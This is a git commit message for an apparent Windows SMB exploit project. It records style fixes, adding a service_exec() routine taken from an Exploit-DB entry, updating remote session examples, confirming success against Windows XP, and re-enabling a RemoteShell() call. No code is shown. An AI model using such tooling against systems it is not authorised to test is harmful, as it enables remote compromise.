Corrections for byte literals, spacing, minor function change, and updated the examples. (#22)
* Force byte literals where required and corrected the string.ascii_letters(). Also corrected the spacing to conform to the Python style guide (4 spaces and not tabs). * Force byte literals where required and removed all trailing whitespace. Added service_exec() from https://www.exploit-db.com/exploits/42315 and updated the examples in do_system_mysmb_session(). Confirmed to successfully exploit Windows XP. * Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
